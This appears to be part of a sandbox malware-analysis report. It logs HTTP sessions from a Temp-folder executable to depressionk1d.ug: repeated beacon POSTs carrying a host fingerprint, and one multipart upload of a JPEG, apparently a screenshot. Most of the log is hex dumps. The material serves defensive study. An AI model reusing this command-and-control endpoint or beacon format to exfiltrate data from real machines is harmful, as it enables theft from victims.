Nov 12, 2021 22:24:48.804421902 CET	17661	OUT	Data Raw: a4 52 e6 e8 ba 98 24 9a 25 2c f1 88 c2 ee 03 e5 65 0d bc f2 01 c6 0f 1c fc 17 72 5b c3 aa aa 42 4b 6a 30 f9 59 df 8f 2b f7 c9 26 7a 73 f7 31 db ae 6b 56 7f 11 45 24 b7 5a 8c 7a 4b 26 b9 77 0b c7 35 d1 b8 cc 21 9d 76 bc 89 16 d0 43 b0 27 92 e4 02 Data Ascii: R$%,er[BKj0Y+&zs1kVE$ZzK&w5!vC'ohV[kA!\8j6y6Z&\|(HTS{ VC-CQKH4Zh4!hb(--4SQKMJ)x4sQuQ-J
Nov 12, 2021 22:24:48.804526091 CET	17683	OUT	Data Raw: 81 0f 02 a4 07 9a d2 26 72 24 ed 4e 14 cc e6 97 fc 6a c8 b0 fa 75 30 52 e7 14 c8 b0 ea 4a 4c d2 8a 00 5a 5c d2 51 40 0a 0d 48 2a 3a 70 e2 99 2c 71 1c 52 52 83 9a 43 c1 a0 43 bb 52 f6 a4 eb 4a 29 92 28 e6 82 28 a3 34 08 3a d2 8f ad 14 a0 50 02 f6 Data Ascii: &r$Nju0RJLZ\Q@H*:p,qRRCCRJ)((4:P,ZSM@VRQ@)MGOf??Tg\Uk?CZ^R]')(CRh(e<R(QQ@c2u[6KI^lW^f?ZZ
Nov 12, 2021 22:24:48.804554939 CET	17688	OUT	Data Raw: 30 ad 23 12 25 21 02 8a 53 f2 f6 a7 85 53 d0 d2 12 a3 a9 ad 2c 65 72 12 c4 f6 a6 ed 26 a5 f3 23 fe f0 14 7d a2 15 fe 21 53 a7 56 5a bf 44 11 c6 7d 2a d2 44 6a b7 db e1 5e 9c d2 1d 4d 7b 0a a5 38 2e a4 4a 15 1f 42 ef 97 8a 70 41 eb 59 a7 53 27 a2 Data Ascii: 0#%!SS,er&#}!SVZD}*Dj^M{8.JBpAYS'a%=0(57OW?/niuf4F+cOsK6C>5J3Ga"ihz-!sVx4Gc\d!;Hzq= i$uRdp5]\
Nov 12, 2021 22:24:48.804575920 CET	17691	OUT	Data Raw: 7b c5 28 7a 09 b3 25 a7 66 a1 dd 4b ba 95 85 ca 4d ba 97 75 43 9f 7a 5d f4 ac 4f 29 3e 69 77 54 1b f1 de 9a 65 a3 94 5c 85 9d c2 8d f8 eb 54 da 6c 54 2d 73 ef 4b 94 a5 49 b3 41 a7 03 bd 42 d7 40 77 ac e7 b9 3e b5 56 4b 9f 7a 57 48 de 18 6b 9a 32 Data Ascii: {(z%fKMuCz]O)>iwTe\TlT-sKIAB@w>VKzWHk2uMyTe95%Of{GZyrO4&{vzR}:v$-MPX9AZ=#X'gP-mL\95{6rj.N0!nB8dz}JBygmb)stdCD1M\|
Nov 12, 2021 22:24:48.804637909 CET	17699	OUT	Data Raw: 4e bb 52 f1 f3 dc fd a8 e9 da 25 95 93 5c ad b4 4e 26 8e 3b a8 d6 28 63 da a8 a9 2a 10 06 7e 6c f5 e0 0e d9 aa f7 5e 2f 4d 56 4b 91 aa e9 5e 74 17 91 41 f6 b5 b7 99 60 76 9e 15 2a b2 c6 42 15 4c a9 c1 5d a4 63 3d 38 c7 35 45 2f 63 1f eb fa fe 9e Data Ascii: NR%\N&;(c~l^/MVK^tA`vBL]c=85E/cdt5lboh2o-t<ov..-,ci..-[p#(Q_V6}{;]x`6&//i6v[Yi..1\UJSN

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
368	192.168.2.4	50218	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:52.491756916 CET	17719	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:53.516319990 CET	17830	IN	HTTP/1.1 508 unused Server: nginx Date: Fri, 12 Nov 2021 21:24:53 GMT Content-Type: text/html Content-Length: 1226 Connection: keep-alive Keep-Alive: timeout=5 Retry-After: 14400 Last-Modified: Tue, 02 Jan 2018 12:36:34 GMT ETag: "6500109-4ca-561ca595b5880" Accept-Ranges: bytes Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 74 69 74 6c 65 3e 35 30 38 20 52 65 73 6f 75 72 63 65 20 4c 69 6d 69 74 20 49 73 20 52 65 61 63 68 65 64 20 2d 20 cf f0 e5 e2 fb f8 e5 ed e8 e5 20 e2 fb e4 e5 eb e5 ed ed fb f5 20 f0 e5 f1 f3 f0 f1 ee e2 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 31 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 35 35 33 36 66 63 39 33 34 33 65 39 61 62 30 61 63 61 30 37 31 33 35 34 30 38 34 64 64 33 63 63 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 35 35 33 36 66 63 39 33 34 33 65 39 61 62 30 61 63 61 30 37 31 33 35 34 30 38 34 64 64 33 63 63 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 0a 3c 63 65 6e 74 65 72 3e 0a 3c 48 31 3e 35 30 38 20 52 65 73 6f 75 72 63 65 20 4c 69 6d 69 74 20 49 73 20 52 65 61 63 68 65 64 3c 62 72 3e cf f0 e5 e2 fb f8 e5 ed e8 e5 20 e2 fb e4 e5 eb e5 ed ed fb f5 20 f0 e5 f1 f3 f0 f1 ee e2 3c 2f 48 31 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 3c 21 2d 2d 0a 20 20 20 2d 20 55 6e 66 6f 72 74 75 6e 61 74 65 6c 79 2c 20 4d 69 63 72 6f 73 6f 66 74 20 68 61 73 20 61 64 64 65 64 20 61 20 63 6c 65 76 65 72 20 6e 65 77 0a 20 20 20 2d 20 22 66 65 61 74 75 72 65 22 20 74 6f 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 2e 20 49 66 20 74 68 65 20 74 65 78 74 20 6f 66 0a 20 20 20 2d 20 61 6e 20 65 72 72 6f 72 27 73 20 6d 65 73 73 61 67 65 20 69 73 20 22 74 6f 6f 20 73 6d 61 6c 6c 22 2c 20 73 70 65 63 69 66 69 63 61 6c 6c 79 0a 20 20 20 2d 20 6c 65 73 73 20 74 68 61 6e 20 35 31 32 20 62 79 74 65 73 2c 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 20 72 65 74 75 72 6e 73 0a 20 20 20 2d 20 69 74 73 20 6f 77 6e 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 2e 20 59 6f 75 20 63 61 6e 20 74 75 72 6e 20 74 68 61 74 20 6f 66 66 2c 0a 20 20 20 2d 20 62 75 74 20 69 74 27 73 20 70 72 65 74 74 79 20 74 72 69 63 6b 79 20 74 6f 20 66 69 6e 64 20 73 77 69 74 63 68 20 63 61 6c 6c 65 64 0a 20 20 20 2d 20 22 73 6d 61 72 74 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 22 2e 20 54 68 61 74 20 6d 65 61 6e 73 2c 20 6f 66 20 63 6f 75 72 73 65 2c 0a 20 20 20 2d 20 74 68 61 74 20 73 68 6f 72 74 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 20 61 72 65 20 63 65 6e 73 6f 72 65 64 20 62 79 20 64 65 66 61 75 6c 74 2e 0a 20 20 20 2d 20 49 49 53 20 61 6c 77 61 79 73 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 20 74 68 61 74 20 61 72 65 20 6c 6f 6e 67 0a 20 20 20 2d 20 65 6e 6f 75 67 68 20 74 6f 20 6d 61 6b 65 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 20 68 61 70 70 79 2e 20 54 68 65 0a 20 20 20 2d 20 77 6f 72 6b 61 72 6f 75 6e 64 20 69 73 20 70 72 65 74 74 79 20 73 69 6d 70 6c 65 3a 20 70 61 64 20 74 68 65 20 65 72 72 6f 72 0a Data Ascii: <HTML><HEAD><title>508 Resource Limit Is Reached - </title><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><link rel="icon" href="/favicon5536fc9343e9ab0aca071354084dd3cc.ico" type="image/x-icon" /><link rel="shortcut icon" href="/favicon5536fc9343e9ab0aca071354084dd3cc.ico" type="image/x-icon" /></HEAD><BODY><center><H1>508 Resource Limit Is Reached<br> </H1></BODY></HTML>... - Unfortunately, Microsoft has added a clever new - "feature" to Internet Explorer. If the text of - an error's message is "too small", specifically - less than 512 bytes, Internet Explorer returns - its own error message. You can turn that off, - but it's pretty tricky to find switch called - "smart error messages". That means, of course, - that short error messages are censored by default. - IIS always returns error messages that are long - enough to make Internet Explorer happy. The - workaround is pretty simple: pad the error
Nov 12, 2021 22:24:53.516340971 CET	17831	IN	Data Raw: 20 20 20 2d 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 61 20 62 69 67 20 63 6f 6d 6d 65 6e 74 20 6c 69 6b 65 20 74 68 69 73 20 74 6f 20 70 75 73 68 20 69 74 0a 20 20 20 2d 20 6f 76 65 72 20 74 68 65 20 66 69 76 65 20 68 75 6e 64 72 65 64 20 61 6e Data Ascii: - message with a big comment like this to push it - over the five hundred and twelve bytes minimum. - Of course, that's exactly what you're reading - right now. -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
369	192.168.2.4	50219	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:52.844345093 CET	17720	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5 Host: depressionk1d.ug Content-Length: 106671 Cache-Control: no-cache
Nov 12, 2021 22:24:52.844435930 CET	17720	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 62 31 61 31 31 38 32 39 30 35 34 33 65 62 61 33 66 33 31 37 30 66 64 34 32 66 32 62 38 66 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------db1a118290543eba3f3170fd42f2b8f5Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Nov 12, 2021 22:24:52.844613075 CET	17730	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 12, 2021 22:24:52.844686031 CET	17731	OUT	Data Raw: c9 35 0e b5 35 bb 21 ce 2b a9 95 45 49 34 7e 54 f2 47 9c ec 62 b9 f5 c5 47 5a 27 72 82 8a 5a 28 01 28 a5 a2 80 12 96 97 14 62 80 12 8a 5a 3b d0 02 51 4b 45 31 06 28 a0 52 d1 60 12 8a 5a 50 29 88 4c 52 d1 8a 0d 00 14 51 8a 5a 00 4c 51 8a 5c 51 8a Data Ascii: 55!+EI4~TGbGZ'rZ((bZ;QKE1(R`ZP)LRQZLQ\QaqR@%((4QJ)h1@KEc4SbF(\e.=iamR,.(cq.)hIv(Qv))X.'4sF(Z9ME4\PE6Z)XbQKE%Q`REJ)iCI
Nov 12, 2021 22:24:52.844701052 CET	17733	OUT	Data Raw: 09 d7 f6 9e fd ff 00 e8 9f d9 1e 4f 99 84 27 ef e3 8c 63 3e f8 c5 79 1f c6 bf f9 28 37 7f f0 0f fd 15 1d 72 45 c9 4d c5 b7 b7 5b f7 f3 48 de 76 e5 4d 25 bf f5 dc f3 9a 28 a4 ef 56 64 2d 14 51 40 05 14 51 40 05 14 52 0a 00 0d 2d 21 a5 a0 05 a2 92 Data Ascii: O'c>y(7rEM[HvM%(Vd-Q@Q@R-!P+b:m>$dQC,oE#5iVZ8QVg6;qjJ}SRmO!v{aR{:$~x/Jhxru,l+HL v
Nov 12, 2021 22:24:52.867250919 CET	17736	OUT	Data Raw: 42 41 c1 e0 f2 2b ca a9 1e 6a 95 17 9a fc 91 ee aa 9e ce 96 1e 76 4e d1 7b ff 00 8e 64 1a 07 87 e1 d2 2d 33 2a c7 2d ec 8c 64 9a 6c 64 ee 3d 81 3c e0 74 1f 9d 2d c7 85 f4 bb 99 fc c6 8a 55 46 90 48 f0 47 33 2c 4e c3 9c b2 03 82 6b 8a 3a ff 00 88 Data Ascii: BA+jvN{d-3*-dld=<t-UFHG3,Nk:,v\]Gw$V5g]/'7mB&f\c/gr34"NlbI?Z"0Lt?EWqQ@%PRS(J3@Q
Nov 12, 2021 22:24:52.867312908 CET	17741	OUT	Data Raw: 7d 09 7c 37 64 c0 4c 62 b2 31 33 74 ce dd a3 35 e6 92 6a be 26 89 ee 12 6b fd 5d 1e db fd 7a bc b2 83 17 38 f9 b2 7e 5e 48 1c f7 35 9d 75 7f 79 7d b7 ed 77 73 dc 6c ce df 3a 42 fb 73 d7 19 fa 54 41 4d 38 b4 f4 45 4a 51 b3 d3 56 6b 26 b7 0b 7d f8 Data Ascii: }\|7dLb13t5j&k]z8~^H5uy}wsl:BsTAM8EJQVk&}~5^U_TuG`k<"Y0[djXI$cauw>Iz}kv{=20i)Om5!erlyA7qo.C[c?#\\|R^Y]
Nov 12, 2021 22:24:52.867331028 CET	17746	OUT	Data Raw: 4a 00 43 4c 27 34 e2 73 4d a4 c6 86 56 cf 86 7f e4 25 27 fd 71 3f cc 56 2d 6d 78 67 fe 42 52 7f d7 13 fc c5 6b 85 fe 34 4c b1 7f c1 91 d5 d6 ff 00 87 3c 21 a9 f8 96 4d d6 c8 23 b6 53 87 b8 93 ee 83 e8 3d 4d 65 e9 96 2f a9 ea 96 d6 48 42 99 a4 09 Data Ascii: JCL'4sMV%'q?V-mxgBRk4L<!M#S=Me/HBQ=uG1PimFU'j^7:Q=pXxUwek->uBHwh-$c>*%K+ l=1^Khh.Fz5Zu$(bi
Nov 12, 2021 22:24:52.867351055 CET	17749	OUT	Data Raw: 55 6d 3a 39 6d 6d 34 c3 76 3c 3b 2c e8 f7 b1 c1 e5 f9 a2 f8 a6 f6 33 7c 99 db f2 e5 bb 71 5c 6d dd e5 c5 fd c9 b8 b9 31 6f 20 28 58 a1 48 91 40 ec 11 00 55 1f 41 4f 1a 96 a2 b6 e6 d9 6e b1 01 b5 36 65 3c b5 ff 00 52 64 f3 4a e7 19 fb fc e7 af 6c Data Ascii: Um:9mm4v<;,3\|q\m1o (XH@UAOn6e<RdJl$heJZ.'<-'aU[*S,07EWu.~PskKm\y$/4I(6%f\tw7Vr[bi#@xl z-$Ke8K.#$dT
Nov 12, 2021 22:24:52.867389917 CET	17752	OUT	Data Raw: 7d a9 0a 66 a7 90 6a a1 9e d1 54 46 2a d3 68 b3 51 18 aa 5d 33 48 d5 33 4c 75 1b 47 c5 69 34 35 13 43 58 ca 99 b4 6a 99 6f 15 40 d1 d6 a3 c5 50 3c 55 cf 3a 67 44 2a 99 a5 71 4c 2b 57 9e 2a 81 d2 b0 94 2c 74 46 77 2a 91 4d c5 4e 56 98 56 b3 71 34 Data Ascii: }fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMNVVq4R#HE&lUc~)Q`JQI\@($2iZm.+"o7;0ROfT(%(p vi)(!L\PzR8\hC@cMa(sQN,Uzm]GCd@St+\
Nov 12, 2021 22:24:52.867614031 CET	17756	OUT	Data Raw: 06 8d be fa 03 52 e6 d0 29 eb a9 9d b6 8d 80 f6 ad 51 69 6f 2f dc 62 b4 36 95 2f 54 65 6a 9f 6d 1e a6 8a 32 7a a3 24 c0 08 a8 5e d3 22 b5 9a ce 68 fe fc 4d 51 f9 5e d5 4a a4 58 b9 e5 1d cc 29 6c fd ab 3e 7b 2f 6a eb 0d be e1 d2 a0 92 c7 23 ee 9a Data Ascii: R)Qio/b6/Tejm2z$^"hMQ^JX)l>{/j#OFMLIMJtb]i8j:1Tek@,W$DfCt3 ?s)WEpAIo3o)kKXdPt-^6B=yyFxkfy
Nov 12, 2021 22:24:53.942509890 CET	17834	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:53 GMT Content-Type: text/html Content-Length: 0 Connection: keep-alive Keep-Alive: timeout=5 X-Powered-By: PHP/5.6.37
Nov 12, 2021 22:24:53.960978985 CET	17835	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:53.985035896 CET	17836	IN	HTTP/1.1 508 unused Server: nginx Date: Fri, 12 Nov 2021 21:24:53 GMT Content-Type: text/html Content-Length: 1226 Connection: keep-alive Keep-Alive: timeout=5 Retry-After: 14400 Last-Modified: Tue, 02 Jan 2018 12:36:34 GMT ETag: "6500109-4ca-561ca595b5880" Accept-Ranges: bytes Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 74 69 74 6c 65 3e 35 30 38 20 52 65 73 6f 75 72 63 65 20 4c 69 6d 69 74 20 49 73 20 52 65 61 63 68 65 64 20 2d 20 cf f0 e5 e2 fb f8 e5 ed e8 e5 20 e2 fb e4 e5 eb e5 ed ed fb f5 20 f0 e5 f1 f3 f0 f1 ee e2 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 31 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 35 35 33 36 66 63 39 33 34 33 65 39 61 62 30 61 63 61 30 37 31 33 35 34 30 38 34 64 64 33 63 63 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 35 35 33 36 66 63 39 33 34 33 65 39 61 62 30 61 63 61 30 37 31 33 35 34 30 38 34 64 64 33 63 63 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 0a 3c 63 65 6e 74 65 72 3e 0a 3c 48 31 3e 35 30 38 20 52 65 73 6f 75 72 63 65 20 4c 69 6d 69 74 20 49 73 20 52 65 61 63 68 65 64 3c 62 72 3e cf f0 e5 e2 fb f8 e5 ed e8 e5 20 e2 fb e4 e5 eb e5 ed ed fb f5 20 f0 e5 f1 f3 f0 f1 ee e2 3c 2f 48 31 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 3c 21 2d 2d 0a 20 20 20 2d 20 55 6e 66 6f 72 74 75 6e 61 74 65 6c 79 2c 20 4d 69 63 72 6f 73 6f 66 74 20 68 61 73 20 61 64 64 65 64 20 61 20 63 6c 65 76 65 72 20 6e 65 77 0a 20 20 20 2d 20 22 66 65 61 74 75 72 65 22 20 74 6f 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 2e 20 49 66 20 74 68 65 20 74 65 78 74 20 6f 66 0a 20 20 20 2d 20 61 6e 20 65 72 72 6f 72 27 73 20 6d 65 73 73 61 67 65 20 69 73 20 22 74 6f 6f 20 73 6d 61 6c 6c 22 2c 20 73 70 65 63 69 66 69 63 61 6c 6c 79 0a 20 20 20 2d 20 6c 65 73 73 20 74 68 61 6e 20 35 31 32 20 62 79 74 65 73 2c 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 20 72 65 74 75 72 6e 73 0a 20 20 20 2d 20 69 74 73 20 6f 77 6e 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 2e 20 59 6f 75 20 63 61 6e 20 74 75 72 6e 20 74 68 61 74 20 6f 66 66 2c 0a 20 20 20 2d 20 62 75 74 20 69 74 27 73 20 70 72 65 74 74 79 20 74 72 69 63 6b 79 20 74 6f 20 66 69 6e 64 20 73 77 69 74 63 68 20 63 61 6c 6c 65 64 0a 20 20 20 2d 20 22 73 6d 61 72 74 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 22 2e 20 54 68 61 74 20 6d 65 61 6e 73 2c 20 6f 66 20 63 6f 75 72 73 65 2c 0a 20 20 20 2d 20 74 68 61 74 20 73 68 6f 72 74 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 20 61 72 65 20 63 65 6e 73 6f 72 65 64 20 62 79 20 64 65 66 61 75 6c 74 2e 0a 20 20 20 2d 20 49 49 53 20 61 6c 77 61 79 73 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 20 74 68 61 74 20 61 72 65 20 6c 6f 6e 67 0a 20 20 20 2d 20 65 6e 6f 75 67 68 20 74 6f 20 6d 61 6b 65 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 20 68 61 70 70 79 2e 20 54 68 65 0a 20 20 20 2d 20 77 6f 72 6b 61 72 6f 75 6e 64 20 69 73 20 70 72 65 74 74 79 20 73 69 6d 70 6c 65 3a 20 70 61 64 20 74 68 65 20 65 72 72 6f 72 0a Data Ascii: <HTML><HEAD><title>508 Resource Limit Is Reached - </title><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><link rel="icon" href="/favicon5536fc9343e9ab0aca071354084dd3cc.ico" type="image/x-icon" /><link rel="shortcut icon" href="/favicon5536fc9343e9ab0aca071354084dd3cc.ico" type="image/x-icon" /></HEAD><BODY><center><H1>508 Resource Limit Is Reached<br> </H1></BODY></HTML>... - Unfortunately, Microsoft has added a clever new - "feature" to Internet Explorer. If the text of - an error's message is "too small", specifically - less than 512 bytes, Internet Explorer returns - its own error message. You can turn that off, - but it's pretty tricky to find switch called - "smart error messages". That means, of course, - that short error messages are censored by default. - IIS always returns error messages that are long - enough to make Internet Explorer happy. The - workaround is pretty simple: pad the error
Nov 12, 2021 22:24:53.985090971 CET	17836	IN	Data Raw: 20 20 20 2d 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 61 20 62 69 67 20 63 6f 6d 6d 65 6e 74 20 6c 69 6b 65 20 74 68 69 73 20 74 6f 20 70 75 73 68 20 69 74 0a 20 20 20 2d 20 6f 76 65 72 20 74 68 65 20 66 69 76 65 20 68 75 6e 64 72 65 64 20 61 6e Data Ascii: - message with a big comment like this to push it - over the five hundred and twelve bytes minimum. - Of course, that's exactly what you're reading - right now. -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
37	192.168.2.4	49821	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:30.774305105 CET	4118	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:30.799658060 CET	4119	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:30 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
370	192.168.2.4	50220	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:53.657301903 CET	17831	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:53.681171894 CET	17833	IN	HTTP/1.1 508 unused Server: nginx Date: Fri, 12 Nov 2021 21:24:53 GMT Content-Type: text/html Content-Length: 1226 Connection: keep-alive Keep-Alive: timeout=5 Retry-After: 14400 Last-Modified: Tue, 02 Jan 2018 12:36:34 GMT ETag: "6500109-4ca-561ca595b5880" Accept-Ranges: bytes Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 74 69 74 6c 65 3e 35 30 38 20 52 65 73 6f 75 72 63 65 20 4c 69 6d 69 74 20 49 73 20 52 65 61 63 68 65 64 20 2d 20 cf f0 e5 e2 fb f8 e5 ed e8 e5 20 e2 fb e4 e5 eb e5 ed ed fb f5 20 f0 e5 f1 f3 f0 f1 ee e2 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 31 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 35 35 33 36 66 63 39 33 34 33 65 39 61 62 30 61 63 61 30 37 31 33 35 34 30 38 34 64 64 33 63 63 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 35 35 33 36 66 63 39 33 34 33 65 39 61 62 30 61 63 61 30 37 31 33 35 34 30 38 34 64 64 33 63 63 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 0a 3c 63 65 6e 74 65 72 3e 0a 3c 48 31 3e 35 30 38 20 52 65 73 6f 75 72 63 65 20 4c 69 6d 69 74 20 49 73 20 52 65 61 63 68 65 64 3c 62 72 3e cf f0 e5 